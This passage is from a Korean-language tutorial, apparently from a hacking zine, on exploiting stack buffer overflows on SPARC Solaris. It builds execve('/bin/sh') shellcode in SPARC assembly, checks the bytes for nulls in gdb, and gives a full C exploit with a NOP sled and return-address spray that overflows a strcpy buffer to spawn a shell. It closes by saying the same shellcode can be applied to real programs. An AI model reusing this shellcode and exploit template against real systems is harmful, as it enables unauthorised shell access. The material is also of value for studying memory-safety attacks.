"/bin/sh"의 위치를 %o0이 가리키도록 유도했다. 이제 나머지 실제로 시스템 서비스를 받는 부분까지 추가하면 다음과 같이 만들어 진다. sethi %hi(0x2f626800), %l6 or %l6, 0x16e, %l6 sethi %hi(0x2f736800), %l7 or %l7, 0x000, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 0x10, %sp std %l6, [ %sp + -16 ] st %sp, [ %sp + -8 ] clr [ %sp + -4 ] mov 0x3b, %g1 ta 8 자 이것으로 seed가 완성이 되었는지 테스트 해보기로 한다. 위 프로그램을 as 및 gcc를 이용하여 구동하려 할 때, main이라는 label이 없으면, 실행이 잘 안되므로, 맨 위에 main을 선언하는 부분을 추가해야 한다. 추가하고 나면 다음과 같다. (실제로 main이라는 lebel은 실행을 위한 것이므로, 실제 overflow 코드에는 들어갈 필요가 없다) .global main main: sethi %hi(0x2f626800), %l6 or %l6, 0x16e, %l6 sethi %hi(0x2f736800), %l7 or %l7, 0x000, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 0x10, %sp std %l6, [ %sp + -16 ] st %sp, [ %sp + -8 ] clr [ %sp + -4 ] mov 0x3b, %g1 ta 8 이것을 as 및 gcc를 통해서 실행해보도록 한다. % as s.asm -o new.o % gcc new.o % a.out $ Shell이 떴다(!).. 이제 이것을 이용하여 실제로 해보려고 하는데, 우리의 "보아니"가 나를 붙잡는다. seed 코드 내에 0 라는 값이 들어가게 되면 strcpy()에 의해서 스트링이 복사될 때 0가 끼인 자리에서 복사를 마치게 되는 수가 있다는 것이다. 0가 끼이면 우리가 생각못한 엉뚱한 결과를 가져오게 될 수도 있는 것이다. 그러면 위의 코드에 0가 끼어있는지 gdb를 통해서 살펴보도록 한다. (gdb) disassemble main Dump of assembler code for function main: 0x10638
: sethi %hi(0x2f626800), %l6 0x1063c : or %l6, 0x16e, %l6 ! 0x2f62696e <_end+794845546> 0x10640 : sethi %hi(0x2f736800), %l7 0x10644 : and %sp, %sp, %o0 0x10648 : add %sp, 8, %o1 0x1064c : xor %o2, %o2, %o2 0x10650 : add %sp, 0x10, %sp 0x10654 : std %l6, [ %sp + -16 ] 0x10658 : st %sp, [ %sp + -8 ] 0x1065c : clr [ %sp + -4 ] 0x10660 : xor %l3, %l3, %l3 0x10664 : inc %l3 0x10668 : mov 0x3b, %g1 0x1066c : ta 8 End of assembler dump. 먼저 disassemble main을 해보니 시작 주소가 0x10638이다. 이곳 내용을 4byte씩 끊어서 실제 각각의 byte내용을 살펴보면 다음과 같다. 잠깐 아래에 ta를 부르기 전 부분에 xor %l3, %l3, %l3 및 inc %l3가 추가된 것을 볼 수 있다. 이것은 실제로 필요한 것으로 이번 분석이후 seed 프로그램 내부에 넣어주도록 한다. (gdb) x/wx 0x10638 0x10638
: 0x2d0bd89a (gdb) 0x1063c : 0xac15a16e (gdb) 0x10640 : 0x2f0bdcda (gdb) 0x10644 : 0x900b800e (gdb) 0x10648 : 0x9203a008 (gdb) 0x1064c : 0x941a800a (gdb) 0x10650 : 0x9c03a010 (gdb) 0x10654 : 0xec3bbff0 (gdb) 0x10658 : 0xdc23bff8 (gdb) 0x1065c : 0xc023bffc (gdb) 0x10660 : 0xa61cc013 (gdb) 0x10664 : 0xa604e001 (gdb) 0x10668 : 0x8210203b (gdb) 0x1066c : 0x91d02008 (gdb) 중간에 0이 많이 끼었다고 걱정할 필요는 없다. 한 byte는 위에서 두 자리씩을 가지므로, 두자리씩을 끊어서 보면 00인 것은 아무것도 없다. 다행이다(!). 0 끼리 붙은 것이 간혹 있지만, 두자리씩 짝수단위로 끊어지므로, 서로 연결된 것이 아니다. 이제 이것을 실제로 overflow시켜서 실행해보도록 한다. 9. 실제로 overflow를 시킨 예제 앞에서는 shell을 띄우는 seed를 만들어 보았다. 실제로 구동시켜본 결과, 잘 돌아가는 것을 알았다. 이제 이것을 실제로 overflow시켜보도록 하겠다. Seed의 형태는, NNNNNNNNNNNNNNNSSSSSSSSSSSSSSRRRRRRRRRRRRRRRR 곧, 앞은 NOP으로 채워서 리턴 어드레스가 벗어나는 것을 방비하며, S는 우리가 만든 shell code가 들어갈 것이고, R 부분에서는 리턴할 어드레스를 지정할 것이다. NOP은 어셈블리 명령으로 존재하는데, 이것을 직접 값을 살펴보면 0x01000000이라는 값을 가진다. 이것은 우리가 원하는 NOP의 형태가 아니다. 왜냐하면 0x00형태의 부분이 끼어있으면 strcpy()가 이루어 지는 동안 짤려나가기 때문이다. 우리는 다른 형태의 NOP이 필요한데, 그것은 0x00이 끼어있지 않으면서 값을 바꾸지 않는 명령이기만 하면 된다. 나는 여기에서 xor %l3, %l3, %l3를 잡기로 했다. 이 값은 앞 절에서 0xa61cc013이라는 값이었다. 이것은 NOP으로 사용하여, 앞을 채우도록 한다. 다음은 6절에서 만들었던 테스트용 프로그램을 간단히 바꾸어서 위의 seed를 포함하도록 한 프로그램이다. #include /* seed[]는 앞에서 만든 seed의 값을 뽑아내어 가지고 있는 배열이다. */ u_char seed[] = "\x2d\x0b\xd8\x9a" "\xac\x15\xa1\x6e" "\x2f\x0b\xdc\xda" "\x90\x0b\x80\x0e" "\x92\x03\xa0\x08" "\x94\x1a\x80\x0a" "\x9c\x03\xa0\x10" "\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8" "\xc0\x23\xbf\xfc" "\xa6\x1c\xc0\x13" "\xa6\x04\xe0\x01" "\x82\x10\x20\x3b" "\x91\xd0\x20\x08" ; #define NOP 0xa61cc013 /* xor %l3, %l3, %l3 */ void shit(char *in) { char ex[200]; /* 받는 것은 bound된 200byte크기의 배열 */ strcpy(ex, in); } u_long get_sp(void) { __asm__("mov %sp, %i0 \n"); } void main(argc, argv) int argc; char **argv; { u_char in[400]; /* 보내는 것은 400byte의 배열 */ int i; u_long *ret_addr; u_long *putaddr; u_long a; int adder = 0; putaddr = in; if(argc > 1) adder = atoi(argv[1]); a = get_sp(); a += 112; a -= 200; /* 적절히 정해준 점핑 위치 */ printf("ret address : 0x%lx\n", a); for(i = 0; i < 400 / 4; i++) /* 전체를 일단 NOP으로 채운다. */ *(putaddr++) = NOP; putaddr = in + 200; /* 200 byte후에서 부터 */ for(i = 200 / 4; i < 400 / 4; i++) /* return 주소를 뒤의 200byte채움 */ *(putaddr++) = a; for(i = 0; i < strlen(seed); i++) /* 200 byte지점에서 부터 seed입력 */ in[i + 200] = seed[i]; shit(in); /* target에 보낸다 */ } 위의 프로그램을 컴파일 하여 돌려보자. % gcc -g a.c a.c: In function `main': a.c:44: warning: assignment from incompatible pointer type a.c:58: warning: assignment from incompatible pointer type % a.out ret address : 0xeffffaa0 $ 짠! shell을 띄우는 데, 성공하였다. 이제까지 길게길게 써온 보람이 여기에서 나타났다. 이제 어떻게 이것이 이루어 졌는지 gdb를 돌려서 memory map을 살펴보도록 하겠다. (gdb) break shit Breakpoint 1 at 0x10750: file a.c, line 26. (gdb) run Starting program: /member/seoro/work/overflow-basics/maga/a.out ret address : 0xeffffa78 Breakpoint 1, shit ( in=0xeffffbb8 "Μ034옌023 .... " 26 strcpy(ex, in); 중간에 정지하는 지점을 shit()으로 잡고, 돌리니까 shit()에 들어가서 멈추었다. (gdb) s 27 } 한 스텝 실행하면 strcpy(ex, in); 을 실행한다. 이때 이미 overflow가 이루어진 상태이다. (gdb) info reg fp sp fp 0xeffffb40 -268436672 sp 0xeffffa08 -268436984 이 상태에서 fp와 sp값을 살펴보면 fp는 0xeffffb40이고, sp는 0xeffffa08이다. 그러면 shit내의 ex[200]의 배열은 이 안에 존재하므로, 내용을 대강 찾아볼 수 있다. ex의 시작주소가 fp로 부터 200에 뒷부분 16을 더해서, 216뒤부분에 존재한다. 우리는 그냥 216까지 갈 필요없이, 24만 뒤로 옮겨서 메모리 내용을 살펴보도록 한다. (gdb) x/wx 0xeffffb28 0xeffffb28 <_end+8713912>: 0xa61cc013 (gdb) 0xeffffb2c <_end+8713916>: 0xa61cc013 (gdb) 0xeffffb30 <_end+8713920>: 0x2d0bd89a (gdb) 0xeffffb34 <_end+8713924>: 0xac15a16e (gdb) 0xeffffb38 <_end+8713928>: 0x2f0bdcda (gdb) 0xeffffb3c <_end+8713932>: 0x900b800e (gdb) 앞에 나타난 것은 우리가 정의한 NOP이다. 0xeffffb30부터 앞에서 정의했던 shell의 seed 코드들이 나타나기 시작했다. ... (gdb) 0xeffffb60 <_end+8713968>: 0x8210203b (gdb) 0xeffffb64 <_end+8713972>: 0x91d02008 (gdb) 0xeffffb68 <_end+8713976>: 0xeffffa78 (gdb) 0xeffffb6c <_end+8713980>: 0xeffffa78 (gdb) 0xeffffb70 <_end+8713984>: 0xeffffa78 shell seed들을 다 쓰고 나니 이제 나오는 것들은 우리가 임의로 만들어 넣은 return address들이다. 원래 한 스택 프레임 내에서 return address가 위치하는 곳은 시작위치에서 56byte후의 자리이다. 위에서 fp값이 0xeffffb40이었으므로, return address의 위치는 0xeffffb78의 위치이다. 이 위치는 아까 이미 RRRR 부분을 거의 200 byte정도 써주었으므로, 넉넉히 넘겼을 것이다. 위의 return address부분에 무엇이 있는지 살펴보면 다음과 같다. (gdb) x/wx 0xeffffa78 0xeffffa78 <_end+8713736>: 0xa61cc013 그 자리는 우리가 정의한 NOP가 존재한다. 그러면 overflow가 이루어 지면서 앞에서 제시한 모형에서 NOP부분을 찾아가고 있는 것이 분명하다. 이제 실제로 메모리에 어떻게 들어가고 있었는지에 관한 것도 모두 끝마쳤다. 정말로 남은 것은 실제로 우리가 사용하고 있는 여러 프로그램에 이것을 적용시키는 것 뿐이다. 복잡하지만, 우리의 seed code는 어떤 프로그램에서도 유용하며, 단지 우리가 찾아내야 하는 것은 bound되어 있는 배열의 size및 그것의 위치일 따름이다. 힘들게 읽어준 여러분에게 감사드리며, 다음 호에서는 이번 호에서 다룬 내용들이 어떻게 쓰이는 지, 여러 종류의 응용프로그램을 찾아서 실제로 보여줄 예정이다. 많은 호응을 부탁드린다. <참고 문헌> 1. Smashing Stack for Fun and Profit Phrack 49 Aleph One 2. Gethostbyname BugTraQ Jeremy Elson 3. /bin/ksh code BugTraQ Kichang Yang 4. UNIX internals Addison Wesley Pate 5. SPARC assembly Reference Manual SUN Solaris2.5 Manual 6. Solaris x86 Assembly Manual SUN Solaris2.5 Manual 7. Buffer overrun L0pht Mudge